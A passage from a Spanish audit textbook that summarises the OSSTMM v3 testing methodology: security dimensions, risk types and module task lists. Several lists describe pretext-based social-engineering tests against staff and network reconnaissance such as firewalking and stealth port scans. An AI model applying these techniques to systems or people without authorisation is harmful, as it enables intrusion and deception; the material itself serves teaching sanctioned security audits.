1. Revisión de Perímetro 2. Revisión de monitoreo 3. Evaluación de Controles de Acceso 4. Revisión de Respuesta de Alarmas 5. Revisión de Ubicación

Página 216 de 430

Manual de Auditoria para no Auditores

Capítulo 24 OSSTM versión 3 : 2010. Metodología de Testeo de Código Abierto. Como este es un libro de divulgación esta ilustración mostramos todas las metodologías que hemos y expuesto de modo resumido hasta ahora. No figuran las siguientes normas ISO31000, ni la ISO 30301 tampoco hemos incluido la ISO25100 para no complicar el grafo, aunque están, dado que representan la gestión de riesgos, la gestión de la documentación y por último la gestión de proyectos y por último hemos excluido también la 19600 de cumplimiento legal. Veamos sobre elementos desarrolla su actividad la metodología OSSMT y que aplicación tiene en el campo práctico de la Auditoria Informática, como de la Gestión de la Seguridad de la Información.

Página 217 de 430

Manual de Auditoria para no Auditores

Ahora que ya conocemos los objetos sobre los que trabaja esta metodología veamos que se entiende por cada uno de ellos. 1. Búsqueda de Vulnerabilidades: se refiere generalmente a comprobaciones automáticas de un sistema o sistemas dentro de una red.

las

2. Escaneo de la Seguridad: se refiere en general a las búsquedas de vulnerabilidades que incluyen verificaciones manuales de falsos positivos, identificación de los puntos débiles de la red y análisis profesional individualizado. 3. Test de Intrusión: se refiere en general a los proyectos orientados a objetivos en los cuales dicho objetivo es obtener un trofeo, que incluye ganar acceso privilegiado con medios pre-condicionales. 4. Evaluación de Riesgo: se refiere a los análisis de seguridad a través de entrevistas e investigación de nivel medio que incluye la justificación negocios, las justificaciones legales y las justificaciones específicas de la industria. 5. Auditoría de Seguridad: hace referencia a la inspección manual con privilegios administrativos del sistema operativo y de los programas de aplicación del sistema o sistemas dentro de una red o redes. 6. Hacking Ético: se refiere generalmente a los test de intrusión en los cuales el objetivo es obtener trofeos en la red dentro del tiempo predeterminado de duración del proyecto. 7. Test de Seguridad y su equivalente militar, Evaluación de Postura, es una evaluación de riesgo con orientación de proyecto de los sistemas y redes, a través de la aplicación de análisis profesional mediante escaneos de seguridad donde la intrusión se usa generalmente para confirmar los falsos positivos y los falsos negativos dentro del tiempo permitido de duración del proyecto. Proceso El proceso de un análisis de seguridad, se concentra en evaluar las siguientes áreas, que reflejan los niveles de seguridad presentes, siendo estos el ambiente definido para el análisis de seguridad. Estos son conocidos como las Dimensiones de Seguridad: Visibilidad La visibilidad es lo que puede verse, registrarse, o monitorearse en el nivel de seguridad con o sin la ayuda de dispositivos electrónicos. Esto incluye, pero no se limita a, ondas de radio, luz por encima del espectro visible, dispositivos de comunicación como teléfonos, GSM, email y paquetes de red como TCP/IP.

Página 218 de 430

Manual de Auditoria para no Auditores Acceso El acceso es el punto de entrada al nivel de seguridad. Un punto de acceso no requiere ser una barrera física. Esto puede incluir, pero no se limita a, una página web, una ventana, una conexión de red, ondas de radio, o cualquier cosa cuya ubicación soporte la definición de casi-público o donde un computador interactúa con otro por medio de una red. Limitar el acceso significa negar todo excepto lo que este expresamente permitido financieramente y por buenas prácticas. Confianza La confianza es una ruta especializada en relación con el nivel de seguridad. La confianza incluye la clase y cantidad de autenticación, no-repudio, control de acceso, contabilización, confidencialidad e integridad entre dos o más factores dentro del nivel de seguridad. Autenticación La autenticación es la medida por la cual cada interacción en el proceso está privilegiada. No-repudio El no-repudio provee garantía que ninguna persona o sistema responsable de la interacción pueda negar envolvimiento en la misma. Confidencialidad La confidencialidad es la certeza que únicamente los sistemas o partes involucradas en la comunicación de un proceso tengan acceso a la información privilegiada del mismo. Privacidad La privacidad implica que el proceso es conocido únicamente por los sistemas o partes involucradas. Autorización La autorización es la certeza que el proceso tiene una razón o justificación de negocios y es administrado responsablemente dando acceso permitido a los sistemas. Integridad La integridad es la certeza que el proceso tiene finalidad y que no puede ser cambiado, continuado, redirigido o reversado sin el conocimiento de los sistemas o partes involucradas. Seguridad La seguridad son los medios por los cuales un proceso no puede dañar otros sistemas, o procesos incluso en caso de falla total del mismo.

Página 219 de 430

Manual de Auditoria para no Auditores Alarma La alarma es la notificación apropiada y precisa de las actividades que violan o intentan violar cualquiera de las dimensiones de la seguridad. En la mayoría de violaciones de seguridad, la alarma es el único proceso que genera reacción.

Mapa de la Seguridad según OSSMT El mapa de seguridad es una imagen de la presencia de seguridad. Esta corresponde al ambiente de un análisis de seguridad y está compuesta por seis secciones equivalentes a las de este manual. Las secciones se superponen entre sí y contienen elementos de todas las otras secciones. Un análisis apropiado de cualquier sección debe incluir los elementos de todas las otras secciones, directa o indirectamente. Las secciones en este manual son: 1 Seguridad de la Información 2 Seguridad de los Procesos 3 Seguridad en las tecnologías de Internet 4 Seguridad en las Comunicaciones 5 Seguridad Inalámbrica 6 Seguridad Física

Como puede observar hay muchas zonas que interseccionan unas con otras, y ello siempre está relacionado con la seguridad de los procesos. Por ello nos parece una metodología interesante cuando estamos acometiendo la realización de una auditoria de certificación para la ISO 27001. Lista de Módulos del Mapa de Seguridad Página 220 de 430

Manual de Auditoria para no Auditores La lista de módulos del mapa de seguridad son los elementos primarios de cada sección. Cada módulo debe incluir todas las Dimensiones de Seguridad que están integradas con tareas a ser desarrolladas. Para desarrollar un análisis de seguridad OSSTMM de una sección particular, todos los módulos de la sección deben ser desarrollados y aquellos para los que no exista infraestructura y no pueda ser verificada, debe definirse como NO APLICABLE en la hoja de datos OSSTM anexa al informe final. 1 Seguridad de la Información 1 Revisión de la Inteligencia Competitiva 2 Revisión de Privacidad 3 Recolección de Documentos 2 Seguridad de los Procesos 1 Testeo de Solicitud 2 Testeo de Sugerencia Dirigida 3 Testeo de las Personas Confiables 3 Seguridad en las tecnologías de Internet 1 Logística y Controles 2 Sondeo de Red 3 Identificación de los Servicios de Sistemas 4 Búsqueda de Información Competitiva 5 Revisión de Privacidad 6 Obtención de Documentos 7 Búsqueda y Verificación de Vulnerabilidades 8 Testeo de Aplicaciones de Internet 9 Enrutamiento 10 Testeo de Sistemas Confiados 11 Testeo de Control de Acceso 12 Testeo de Sistema de Detección de Intrusos 13 Testeo de Medidas de Contingencia 14 Descifrado de Contraseña 15 Testeo de Denegación de Servicios 16 Evaluación de Políticas de Seguridad

Página 221 de 430

Manual de Auditoria para no Auditores 4 Seguridad en las Comunicaciones 1 Testeo de PBX 2 Testeo del Correo de Voz 3 Revisión del FAX 4 Testeo del Modem 5 Seguridad Inalámbrica 1 Verificación de Radiación Electromagnética (EMR) 2 Verificación de Redes Inalámbricas [802.11] 3 Verificación de Redes Bluetooth 4 Verificación de Dispositivos de Entrada Inalámbricos 5 Verificación de Dispositivos de Mano Inalámbricos 6 Verificación de Comunicaciones sin Cable 7 Verificación de Dispositivos de Vigilancia Inalámbricos 8 Verificación de Dispositivos de Transacción Inalámbricos 9 Verificación de RFID 10 Verificación de Sistemas Infrarrojos 11 Revisión de Privacidad 5 Seguridad Física 1 Revisión de Perímetro 2 Revisión de Monitoreo 3 Evaluación de Controles de Acceso 4 Revisión de Respuesta de Alarmas 5 Revisión de Ubicación 6 Revisión de Entorno Sin menoscabo todas las metodologías vistas, hasta ahora sobre el Análisis de Riesgo, vamos añadir la propia de OSSTMM, no es ni mejor, ni peor, que las otras ya vistas que tienen sus propias cuotas de mercado, pero la interpretación que se hace en OSSTMM, quizás es está más próxima a la compresión de un lector, no experto en la materia y porqué su estructura, sirve de guía para no dejarse nada atrás, a la hora de resolver la auditoria.

Página 222 de 430

Manual de Auditoria para no Auditores Evaluación de Riesgo La evaluación de Riesgo es mantenida por el analista, todos los datos que sean recopilados sirven de soporte para una evaluación válida por medio de tests no privilegiados. Esto implica que, si se recopila muy poca información o esta no es apropiada, puede no ser posible proveer una evaluación de riesgos correcta y el analista debe basarse en las mejores prácticas, las regulaciones correspondientes a la industria del cliente, la justificación de negocios del cliente, la política de seguridad del mismo, y las cuestiones legales para el cliente y su ambiente de negocios. Evaluación de Riesgo El riesgo significa que los límites de la presencia de seguridad tendrán un efecto perjudicial en la gente, la cultura de información, los procesos, negocios, imagen, propiedad intelectual, derechos legales o capital intelectual. Este manual mantiene cuatro dimensiones durante el análisis para minimizar cualquier estado de riesgo en el ambiente. 1 Seguridad Todos los tests deben ejecutarse con la precaución necesaria para evitar los peores escenarios posibles, que impliquen grandes pérdidas. Esto implica que el analista mantenga por encima de cualquier cosa, el respeto por la seguridad humana, en la salud física y emocional y ocupacional. 2 Privacidad Todos los análisis deben ejecutarse manteniendo el derecho a la privacidad personal sin importar la ley regional. La ética y el entendimiento de la privacidad son a menudos más avanzados que la legislación actual. 3 Practicidad Todos los tests deben ser diseñados buscando la mínima complejidad, la máxima viabilidad y una profunda claridad. 4 Usabilidad Todos los tests deben permanecer dentro del marco de seguridad útil. Es decir, lo más seguro es lo menos bienvenido y perdonable. Los tests dentro de este manual son desarrollados para encontrar un nivel de seguridad útil (también conocido como seguridad práctica). Seguridad Perfecta En evaluación de riesgos, el OSSTM aplica la técnica de "Seguridad Perfecta", en seguridad perfecta los analistas calibran con el cliente que se puede considerar seguridad perfecta. Esto se logra con la revisión de postura, que corresponde a las mejores prácticas, las regulaciones en la industria del cliente, las justificaciones del negocio, la política de seguridad del cliente y los asuntos legales para el cliente y las regiones donde el mismo tenga negocios. El Página 223 de 430

Manual de Auditoria para no Auditores resultado es "Seguridad Perfecta" para el cliente. Los analistas pueden proveer un análisis comparativo entre el estado actual de seguridad y la "Seguridad Perfecta" Mejores prácticas definidas dentro de la teoría hacia una "Seguridad Perfecta". Servicios y acceso a Internet • No usar Acceso Remoto no encriptado. • No usar Acceso Remoto no autenticado. • Las restricciones deniegan todo y permiten específicos. • Monitorearlo y registrarlo todo. • Descentralizar. • Limitar la confianza entre sistemas. • Poner en cuarentena las entradas y validarlas. • Instalar únicamente las aplicaciones / servicios requeridos. • Dividir capas de seguridad. • Es mejor ser invisible - mostrar únicamente el servicio, nada más. • La simplicidad previene los errores de configuración. Computación Móvil • Poner en cuarentena todas las redes entrantes y tráfico de Internet. • No usar Acceso Remoto no encriptado. • No usar Acceso Remoto no autenticado. • Encriptación acorde a las necesidades. • Instalar las aplicaciones y/o servicios necesarios. • Es mejor invisible - sin servicios ejecutándose. • Exigir contraseñas en BIOS. • Entrenamiento en seguridad para aplicar las mejores prácticas y reconocer los eventos de seguridad es requisito para usuarios y personal de soporte. Aplicaciones • El uso de las características de seguridad debe ser una obligación. • Asegurar las justificaciones de negocio para todas las entradas y salidas en una aplicación. • Validar todas las entradas. Página 224 de 430

Manual de Auditoria para no Auditores • Limitar confianzas (a sistemas y usuarios). • Encriptar datos. • Encriptar los componentes. • Todas las acciones ocurren del lado del servidor. • Definir capas de seguridad. • Es mejor invisible - mostrar únicamente el servicio. • Accionar alarmas. Personal • Autoridad Descentralizada. • Responsabilidad Personal. • Seguridad Personal y controles de privacidad. • Accesible únicamente por medio de gateway personales. • Entrenamiento en definiciones legales y ética de las políticas de seguridad. • Acceso al conocimiento de información e infraestructura limitado.

Valores de la Evaluación de Riesgo Integrados a cada módulo, se encuentran los Valores de la Evaluación de Riesgo (RAVs). Estos se definen como la degradación de la seguridad (o elevación del riesgo) sobre un ciclo de vida específico, basándose en mejores prácticas para tests periódicos. La asociación de niveles de riesgo con ciclos ha probado ser un procedimiento efectivo para las métricas de seguridad. Los conceptos de métrica de seguridad en este manual son para: • Establecer un ciclo estándar de tiempo para testear y verificar con el fin de mantener un nivel cuantificable de riesgo basado en la degradación de la seguridad (o elevación del riesgo) que ocurre naturalmente, con el tiempo y la habilidad de medir el riesgo con consistencia y detalle ambos antes y después del análisis A diferencia de la administración de riesgos convencional, los RAVs operan puramente en la aplicación de seguridad dentro de una organización. Estos toman en cuenta los controles tales como procesos, políticas, y procedimientos al operar en paralelo con la metodología de análisis. Mientras que la metodología de análisis examina estos controles, algunas veces de manera indirecta, los controles actuales no le interesan al analista, debido a que es la aplicación de estos controles la que determina los resultados de un análisis de seguridad.

Página 225 de 430

Manual de Auditoria para no Auditores Una política bien escrita que no sea seguida no tendrá efecto alguno en la seguridad actual. Los RAV están definidos matemáticamente por los siguientes factores: 1 Los grados de degradación de cada módulo por separado, según un nivel óptimo medido de un máximo teórico del 100% para propósitos de administración de riesgos. 2 El ciclo que determina la máxima longitud de tiempo que se requiere para que la degradación sea total (llegue a su máximo porcentual) basándose en prácticas recomendadas de seguridad y consenso. 3 La influencia de otros módulos ejecutados o no. 4 Pesos establecidos por las Dimensiones de Seguridad 5 El tipo de riesgo tal y como se designa por los Tipos de Riesgo OSSTM y si este ha sido a Identificado, pero no investigado o con resultados no concluyentes. b Verificado, con un positivo absoluto o una vulnerabilidad explotada, o c No aplicable, debido a que no existe porque la infraestructura o mecanismo de seguridad no se encuentra presente. Tipos de Riesgos A pesar que los tipos de riesgo parezcan ser subjetivos, la clasificación de riesgos en los siguientes tipos, es bastante objetiva al seguir el marco de trabajo del OSSTMM. Versiones futuras asegurarán su compatibilidad con CVE. Vulnerabilidad Una falla inherente en el mecanismo de seguridad mismo o que pueda ser alcanzada por medio de protecciones de seguridad, permitiendo el acceso privilegiado a la ubicación, gente, procesos del negocio, y personal o acceso remoto a los procesos, gente, infraestructura generando datos corruptos o eliminados. Una vulnerabilidad puede ser un metal en una puerta que se torna frágil a temperaturas bajo 0º C, un lector de huellas digitales que permite el acceso con dedos de goma, un dispositivo infrarrojo que no tiene mecanismos de autenticación para realizar cambios en la configuración, o un error de traducción en un servidor web que permite la identificación del propietario de una cuenta bancaria por medio del número de esta. Debilidad Una falla inherente a la plataforma o ambiente en el que el mecanismo de seguridad reside, una mala configuración, falla de sobrevivencia, falla de usabilidad, o falla al cumplir los requerimientos de una Política de Seguridad.

Página 226 de 430

Manual de Auditoria para no Auditores Una debilidad puede ser un proceso que no almacena datos transaccionales durante el tiempo límite legal, tal y como se establezca en las leyes locales, una alarma de ingreso que no suena si la puerta ha quedado abierta por un período de tiempo específico, un cortafuego que devuelve mensajes ICMP de host inalcanzable para sistemas de red internos, un servidor de base de datos que permite consultas sin filtrar, una entrada sin monitoreo a un edificio considerado " seguro". Filtrado de Información Una falla inherente en el mecanismo de seguridad mismo, o que puede ser alcanzada por medio de medidas de seguridad que permiten el acceso privilegiado a información sensitiva o privilegiada acerca de datos, procesos de negocio, personal o infraestructura. Una fuga de información puede ser una cerradura con la combinación disponible por medio de señales audibles de cambio dentro de los mecanismos de la misma, un enrutador que brinda información SNMP acerca de la red objetivo, una hoja de cálculo con los salarios de ejecutivos en una compañía privada, el teléfono celular privado del personal de mercadeo, un sitio web con información acerca de la próxima revisión del elevador de la compañía. Preocupación Un evento de seguridad que puede resultar al no seguir las practicas recomendadas de seguridad, y que por el momento no se presente como un peligro actual. Una preocupación puede ser el servicio FINGERD corriendo en un servidor de la organización que no requiere el servicio FINGER, una puerta de entrada vigilada que requiere que el celador deje la puerta para perseguir a un intruso y no se disponga de un nuevo celador haciendo presencia en la misma puerta, o empleados que se sientan con sus monitores y tableros visibles desde el exterior del perímetro de seguridad. Desconocidos Un elemento desconocido o sin identificación en el mecanismo de seguridad mismo, o que puede ser alcanzado a través de las medidas de seguridad y actualmente no tiene impacto conocido en la seguridad ya que tiende a no tener sentido o servir ningún propósito con la información limitada que el analista posea. Un desconocido puede ser una respuesta inesperada posiblemente de un enrutador en una red, indicando problemas en la misma, una frecuencia de radio no natural que proviene del perímetro de seguridad sin ofrecer información o identificación, o una hoja de cálculo con información privada acerca de la competencia. La siguiente tabla provee los parámetros para los Valores de la Evaluación de Riesgos (RAVs)

Página 227 de 430

Manual de Auditoria para no Auditores

Secciones y Módulos La metodología está dividida en secciones, módulos y tareas. Las secciones son puntos específicos en el mapa de seguridad que se sobreponen entre sí y comienzan a descubrir un todo que es mucho mayor a la suma de sus partes. Los módulos son el flujo de la metodología desde un punto de presencia de seguridad hacia el otro. Cada módulo tiene una salida y una entrada. La entrada es la información usada en el desarrollo de cada tarea. Las salidas es el resultado de las tareas completadas. La salida puede o no ser datos analizados (también conocido como inteligencia) para servir como entrada para otro módulo. Incluso puede ocurrir que la misma salida sirva como entrada para más de un módulo o sección. Algunas tareas no brindan resultados, esto significa que existen módulos para los cuales no hay entrada. Los módulos que no tienen entrada pueden ser ignorados durante el análisis. El hecho de ignorar módulos no indica necesariamente un análisis inferior, al contrario, indica un nivel de seguridad superior. Los módulos que no tienen salida como resultado, pueden significar una de tres cosas: • Las tareas no fueron ejecutadas apropiadamente. • Las tareas no se aplicaban. • Las tareas revelaron niveles superiores de seguridad. • Los datos resultantes de la tarea se analizaron inapropiadamente. Es vital que la imparcialidad exista al ejecutar las tareas de cada módulo. Buscar algo que usted no tenga intención de encontrar puede llevarlo a encontrar exactamente lo que quiere. En esta metodología cada módulo inicia como una entrada y una salida exactamente por la necesidad de mantener la imparcialidad. Cada módulo brinda una guía de lo que puede ser revelado para profundizar más aún en el flujo. Página 228 de 430

Manual de Auditoria para no Auditores Con la disposición del análisis como un servicio, es altamente importante indicarle al equipo encargado exactamente que no ha sido, o no será analizado, de tal forma que se pueda administrar la expectativa y la potencialmente inapropiada fe en la seguridad del sistema. La metodología fluye desde el módulo inicial hasta completar el módulo final. La metodología permite la separación entre recolección de datos y tests de verificación de y sobre los datos recolectados. El flujo también determina los puntos precisos de cuando extraer e insertar estos datos. Al definir la metodología de análisis, es importante no restringir la creatividad del analista introduciendo estándares excesivamente formales e inflexibles que las calidades de los tests sufran. Adicionalmente, es importante dejar tareas abiertas a alguna interpretación donde la definición exacta causará problemas a la metodología cuando una nueva tecnología sea introducida. Cada módulo tiene una relación con el inmediatamente anterior y con el inmediatamente posterior. Cada sección tiene aspectos interrelacionados a otros módulos y algunos se interrelacionan con todas las otras secciones. Normalmente, los análisis de seguridad comienzan con una entrada que corresponde a las direcciones de los sistemas a ser analizados. El análisis de seguridad finaliza con el inicio de la fase de análisis y la construcción del informe final. Esta metodología no afecta la forma, tamaño, estilo o contenido del informe final ni especifica como los datos deben ser analizados. Esto es responsabilidad del analista de seguridad o la organización. Las secciones son el modelo total de seguridad dividido en porciones manejables y analizables. El módulo requiere una entrada para ejecutar las tareas del módulo y de otros módulos en otras secciones. Las tareas son los tests de seguridad a ejecutarse dependiendo de la entrada del módulo. Los resultados de las tareas pueden ser inmediatamente analizados para actuar como un resultado procesado o se pueden dejar en bruto (sin analizar). De cualquier modo, estos son considerados la salida del módulo. Esta salida es a menudo la entrada para el siguiente módulo o en algunos casos, como equipos recién descubiertos; pueden ser la entrada para un módulo anterior. El modelo de seguridad completo puede ser dividido en secciones administrables para las pruebas. Cada sección puede a su vez ser vista como una colección de módulos de test con cada módulo dividido en un conjunto de tareas.

Página 229 de 430

Manual de Auditoria para no Auditores Módulos 1. Revisión de la Inteligencia Competitiva La IC es la información recolectada a partir de la presencia en Internet que puede ser analizada con inteligencia de negocio. A diferencia del robo de propiedad intelectual encontrada en el hacking o el espionaje industrial, es que la IC tiende a no ser invasiva y mucho más discreta. Este es un buen ejemplo de cómo la presencia en Internet se extiende más allá de los hosts de la DMZ. Utilizar IC en un Test de Intrusión da valor de negocio a los componentes y puede ayudar a encontrar justificaciones de negocio para implementar distintos servicios.

1. Realizar un mapa y medir la estructura de directorio de los servidores web. 2. Realizar un mapa y medir la estructura de directorio de los servidores de FTP. 3. Examinar la base de datos WHOIS para los servicios de negocio relacionando los nombres de hosts registrados. 4. Determinar el costo de TI de la infraestructura de Internet basados en SO, Aplicaciones y Hardware. 5. Determinar el costo de soporte de la infraestructura basado en requerimientos salariales de los profesionales de TI, puestos de trabajo, cantidad de personal, Curriculum publicados y responsabilidades. 6. Medir el entusiasmo (respuesta) de la organización basándose en grupos de noticias, tableros web, y los sitios de respuesta de la industria. 7. Grabar el número de productos electrónicamente (para download)

que

se

están

vendiendo

8. Grabar el número de productos encontrados en orígenes P2P, sitios wares, cracs disponibles para las versiones, y la documentación tanto interna como de terceras partes de los productos. 2. Revisión de Privacidad La revisión de privacidad es el punto de vista legal y ético del almacenamiento, transmisión y control de los datos basados en la privacidad del cliente y del empleado. El uso de estos datos es la preocupación de muchas personas privadas y la legislación no da reglas específicas considerando la privacidad. Aunque algunas de estas leyes son locales, todas ellas se aplican a la Internet y por lo tanto afecta a los auditores de seguridad internacionalmente.

Página 230 de 430

Manual de Auditoria para no Auditores

1. Comparar públicamente la política accesible con la practica actual 2. Comparar la practica actual con el fraude regional y las leyes de privacidad o cumplimiento 3. Identificar el tipo y tamaño de la base de datos para el almacenamiento de los datos. 4. Identificar los datos conseguidos por la organización 5. Identificar la ubicación de almacenamiento de los datos 6. Identificar los tipos de cookies 7. Identificar las fechas de expiración de las cookies 8. Identificar la información almacenada en las cookies 9. Verificar los métodos de encriptación de la cookie 10. Identificar la ubicación del servidor de errores del web 11. Identificar los datos erróneos de la Web devueltos por el servidor. 3. Recolección de Documentos En este módulo es importante la verificación de la información testeada y perteneciente a varios niveles de lo que se considera seguridad de la información. La cantidad de tiempo otorgado para la búsqueda y extracción de la información es dependiente del tamaño de la organización, el ámbito del proyecto, y de la longitud de tiempo planeado para el test. No obstante, mucho tiempo no siempre significa más información, pero puede eventualmente llevar a partes claves del rompecabezas de la seguridad.

1. Examinar las bases de datos web y los caches pertenecientes a objetivos y personal clave de la organización. 2. Investigar personas claves vía páginas personales, curriculums publicados, afiliaciones organizacionales, información de directorios, datos de compañías, y el registro electoral.

Página 231 de 430

Manual de Auditoria para no Auditores 3. Recopilar direcciones de email de la organización y direcciones personales de personas claves. 4. Buscar en las bases de datos laborales por niveles tecnológicos requeridos necesarios que tiene la organización. 5. Buscar en los grupos de noticias referencias y publicaciones de la organización y personas claves. 6. Buscar en los documentos códigos ocultos o revisiones de datos. 7. Examinar referencias y publicación de redes P2P de la organización y personas claves. 2 Seguridad de los Procesos. 1. Testeo de Solicitud Este es un método de obtener privilegios de acceso a una organización y sus activos preguntando al personal de entrada usando las comunicaciones como un teléfono, e-mail, chat, boletines, etc. desde una posición “privilegiada” fraudulenta. El personal de entrada es quienes tienen la autoridad para dar privilegios de acceso a otros.

1. Seleccionar una persona de entrada desde la información ya obtenida sobre el personal 2. Examinar los métodos de contacto con la persona de entrada desde el objetivo de la organización 3. Obtener información acerca de la persona de entrada (posición, hábitos, preferencias) 4. Contactar la persona de entrada y solicitar información desde una autoridad o posición privilegiada 5. Obtener información desde la persona de entrada 6. Enumerar cantidad de información privilegiada obtenida 2. Testeo de Sugerencia Dirigida Este es un método de enumeración y enumeración de puntos de acceso privilegiados a una organización y sus activos provocando a hablar mediante los medios de comunicaciones tal como el teléfono, e-mail, chat, boletines, etc. a una ubicación fuera la organización desde una posición “privilegiada” fraudulenta. Esta técnica requiere una “ubicación” para la persona a provocar a hablar tal como una página web, una dirección de e-mail, etc. Página 232 de 430

Manual de Auditoria para no Auditores

1. Seleccionar una persona o personas a partir de la información ya obtenida sobre el personal 2. Examinar los métodos de contacto a las personas de la organización objetivo 3. Invitar a las personas a usar / visitar una ubicación 4. Obtener información de los visitantes 5. Enumerar los tipos y cantidad de información privilegiada obtenida. 3. Testeo de las Personas Confiables Este es un método de usar la posición de confianza tales como las de un empleado, vendedor, socio o hija de un empleado para inducir a la persona interna a la revelación de información concerniente a la organización objetivo. Este módulo puede ser realizado mediante cualquier forma de comunicación o en persona.

1. Seleccionar una persona o personas a partir de la información ya obtenida sobre el personal 2. Examinar los métodos de contacto a las personas de la organización objetivo 3. Contactar a la persona interna desde una posición de confianza 4. Obtener información de la persona interna 5. Enumerar los tipos y cantidad de información privilegiada obtenida. Aquí se considera interesante y oportuno sería, el momento adecuado dentro de esta metodología para aplicar, Ingeniería Social, dado que lo que estamos evaluando, es tanto la fiabilidad de los responsables de control de acceso físico a las instalaciones, como también verificando las informaciones facilitadas por otras vías y por personal de la propia organización, incluso de terceros si hay servicios subcontratados o diferidos. Vamos a incluir las técnicas de evaluación de accesos a Internet, debiendo tener presente que aquí no estamos hablando de la aplicación de la metodología Página 233 de 430

Manual de Auditoria para no Auditores OWASP, dado que esto sería proyecto interno, donde nuestra organización usa la tecnología Web, como un instrumento de marketing y venta, que no es el caso, aquí se trata de conocer que tanta permeabilidad tiene nuestra organización frente atraques externos. Módulos 1. Logística y Controles El propósito de este módulo es reducir los falsos positivos y negativos realizando los ajustes necesarios en las herramientas de análisis.

Comprobaciones de Error 1. Examinar la ruta a la red objetivo en busca de paquetes TCP perdidos. 2. Examinar la ruta a la red objetivo en busca de paquetes UDP perdidos. 3. Examinar la ruta a la red objetivo en busca de paquetes ICMP perdidos. 4. Medir el tiempo utilizado en el recorrido TCP de los paquetes. 5. Medir la latencia TCP a través de conexiones TCP. 6. Medir el porcentaje de paquetes aceptados y respondidos por la red objetivo. 7. Medir la cantidad de paquetes perdidos o rechazos de conexión en la red objetivo. Enrutamiento 8. Examinar el camino de enrutamiento al objetivo desde los sistemas de ataque. 9. Examinar el camino de enrutamiento para el ISP del objetivo. 10. Examinar el camino de enrutamiento para el Vendedor de Trafico Principal del ISP objetivo 11. Examinar el uso de Ipv6 para cada uno de los sistemas activos en la red.

Página 234 de 430

Manual de Auditoria para no Auditores 2. Sondeo de Red El sondeo de red sirve como introducción a los sistemas a ser analizados. Se podría definir mejor como una combinación de recolección de datos, obtención de información y política de control. A pesar que a menudo es recomendable desde un punto de vista legal el definir exactamente y contractualmente los sistemas a analizar si usted es un auditor externo o aun si es el administrador de sistemas, puede ser que no pueda empezar con los nombres de sistema o IPs en concreto. En ese caso es necesario sondear y analizar. La clave es encontrar el número de sistemas alcanzables que deben ser analizados, sin exceder los límites legales de lo que se quiere analizar. Por lo tanto, el sondeo de red es simplemente una forma de empezar un test; otra forma sería recibir el rango de direcciones IP a comprobar. En este módulo, no se realiza ningún tipo de intrusión directamente en los sistemas, excepto en los sitios considerados un dominio cuasi-público. A pesar de no ser realmente un módulo en la metodología, el sondeo de red es un punto de partida. Muy a menudo se detectan más hosts durante el test. Hay que tener en cuenta que los hosts descubiertos posteriormente pueden ser añadidos en las pruebas como un subconjunto de los sistemas definidos y a menudo solamente con el permiso o colaboración del equipo de seguridad interna de la organización a analizar.

Respuestas del Servidor de Nombres. 1. Examinar la información del registro de dominio en busca de servidores. 2. Encontrar el propietario del bloque de direcciones IP. 3. Consultar los servidores de nombres primario, secundario y del ISP en busca de hosts y subdominios. 4. Encontrar bloques de IPs Ipv6 utilizados a través de consultas a los DNS. Examinar la pared externa de la red. 5. Usar múltiples trazas a la puerta de enlace para definir los routers y segmentos externos de la red. Examinar pistas de la organización a analizar. 6. Inspeccionar los logs del servidor web y los logs de intrusión en busca de eventos de los sistemas de la organización a analizar. 7. Inspeccionar mensajes de grupos de noticias y listas de distribución en busca de eventos de los sistemas de la organización a analizar. Página 235 de 430

Manual de Auditoria para no Auditores Filtración de información 8. Examinar el código fuente y scripts del servidor web en busca de servidores de aplicación y enlaces internos. 9. Examinar las cabeceras de los correos electrónicos, los mensajes devueltos y los destinatarios de las alertas y eventos del sistema de los servidores. 10. Buscar información sobre la organización a analizar en los grupos de noticias. 11. Buscar en bases de datos de empleos y en periódicos ofertas de puestos de trabajo en Tecnologías de la Información dentro de la organización a analizar, referencias a hardware y software. 11. Buscar en servicios P2P conexiones dentro de la red objetivo y datos referentes a la organización.

3. Identificación de los Servicios de Sistemas El escaneo de puertos es la prueba invasiva de los puertos del sistema en los niveles de transporte y red. También se incluye aquí la validación de la recepción del sistema a protocolos tunelizados, encapsulados o de enrutamiento. En este módulo se deben enumerar los servicios de Internet activos o accesibles, así como traspasar el cortafuego con el objetivo de encontrar más máquinas activas. La pequeña cantidad de protocolos empleados aquí tiene el objetivo de resultar en una definición clara de los objetivos. Es por esto que algunos de los protocolos no aparecen. El testeo de diferentes protocolos dependerá del tipo de sistema y servicios que ofrecen los sistemas. En la sección Referencias de Testeo aparece una lista más completa de protocolos. Cada servidor activo en Internet dispone de 65.536 puertos TCP y UDP posibles (incluido el Puerto 0). En cualquier caso, no siempre es necesario comprobar todos estos puertos en cada sistema. Esto se deja a la libre elección del equipo que realiza los tests. Los puertos que son importantes para el testeo según el servicio que ofrecen se listan con las tareas del módulo. Otros números de puertos empleados en los escaneos se deben obtener de bases de datos consensuadas en webs de proyectos de intrusión tales como www.dshield.org. Una vez los puertos abiertos han sido identificados, es necesario llevar adelante un análisis de la aplicación que escucha tras dicho servicio. En algunos casos, más de una aplicación puede encontrarse detrás de un servicio donde una aplicación es la que realmente escucha en dicho puerto y las otras se consideran componentes de la aplicación que escucha. Un buen ejemplo de esto es PERL que se instaló para ser usado por las aplicaciones web. En este caso, el servicio que escucha es el demonio HTTP y el componente es PERL. Tras la identificación de los servicios, el siguiente paso es identificar el sistema mediante las pruebas sobre el sistema con el fin de obtener respuestas que puedan distinguir su sistema operativo y su versión.

Página 236 de 430

Manual de Auditoria para no Auditores

Enumeración de sistemas 1. Recoger respuestas de broadcast desde la red 2. Intentar traspasar el cortafuego con valores estratégicos de TTLs (Firewalking) para todas las direcciones IP. 3. Emplear ICMP y resolución inversa de nombres con el objetivo de determinar la existencia de todos los sistemas en la red. 4. Emplear paquetes TCP con puerto origen 80 y el bit ACK activo en los puertos de destino 3100-3150, 1001-10050, 33500-33550 y 50 puertos aleatorios por encima del 35000 para todos los sistemas de la red. 5. Emplear paquetes TCP fragmentados en orden inverso mediante escaneos FIN, NULL y XMAS en los puertos destino 21, 22, 25, 80 y 443 para todos los servidores de la red. 6. Usar escaneos TCP SYN sobre los puertos 21, 22, 25, 80 y 443 para todos los servidores de la red. 7. Emplear intentos de conexión a DNS para todos los servidores de la red. 8. Emplear FTP y Proxies para relanzar los escaneos al interior de la DMZ para los puertos 22, 81, 111, 132, 137 y 161 para todos los servidores de la red. Enumeración de Puertos 9. Usar escaneos SYN TCP (Half-Open) para enumerar puertos abiertos, cerrados o filtrados para aquellos puertos TCP utilizados por defecto en el test, en todos los servidores de la red. 10. Usar escaneos TCP full connect para escanear todos los puertos por encima del 1024 en todos los servidores de la red. 11. 